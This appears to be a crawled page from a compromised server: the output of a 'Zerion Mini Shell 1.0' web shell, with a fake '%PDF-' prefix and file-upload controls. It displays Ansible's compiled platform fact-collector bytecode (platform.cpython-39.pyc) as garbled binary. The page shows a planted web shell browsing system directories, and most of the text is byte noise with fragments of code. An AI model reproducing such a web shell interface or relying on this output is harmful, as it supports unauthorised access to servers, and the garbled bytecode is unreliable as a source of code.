%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/platform.cpython-39.pyc

a

�)g/�@s�ddlmZmZmZeZddlZddlZddlZddl	m
mmZ
ddlmZddlmZdZe�e�ZGdd�de�ZdS)�)�absolute_import�division�print_functionN)�get_file_content)�BaseFactCollectorzi([3456]86|86pc)c@s&eZdZdZegd��Zddd�ZdS)�PlatformFactCollector�platform)�system�kernel�kernel_version�machine�python_version�architecture�
machine_idNcCsi}t��|d<t��|d<t��|d<t��|d<t��|d<t��|d<t���	d�d|d	<t��|d
<d�
|d�	d�dd��|d<t��d}|�d
d�|d<|ddkr�|d|d<|ddkr�d|d<n|ddkr�d|d<nTt
�|d��r6d|d<|ddk�rd|d<n|ddk�rBd|d<n|d|d<|ddk�r�|�d�}|�r�|�|dg�\}}}|��}	|	d|d<n2|�d�}
|�|
dg�\}}}|��}	|	d|d<n|ddk�r�t��d|d<td��p�td�}|�r|��d}||d<|S) Nr	r
rrr
Zfqdn�.r�hostname�nodename��domain�bit�Zuserspace_bitsZx86_64rZ64Zuserspace_architectureZ32Zi386ZAIXZgetconfZMACHINE_ARCHITECTUREZbootinfoz-pZOpenBSD�z/var/lib/dbus/machine-idz/etc/machine-idr)rr	�release�versionrr
�socketZgetfqdnZnode�split�joinr�replace�solaris_i86_re�searchZget_bin_pathZrun_command�
splitlines�unamer)�self�moduleZcollected_factsZplatform_factsZ	arch_bitsZgetconf_bin�rc�out�err�dataZbootinfo_binr�r(�N/usr/lib/python3.9/site-packages/ansible/module_utils/facts/system/platform.py�collect,sT 





zPlatformFactCollector.collect)NN)�__name__�
__module__�__qualname__�name�setZ	_fact_idsr*r(r(r(r)r"sr)Z
__future__rrr�typeZ
__metaclass__�rerrZ"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZ ansible.module_utils.facts.utilsrZ$ansible.module_utils.facts.collectorrZSOLARIS_I86_RE_PATTERN�compilerrr(r(r(r)�<module>s


Zerion Mini Shell 1.0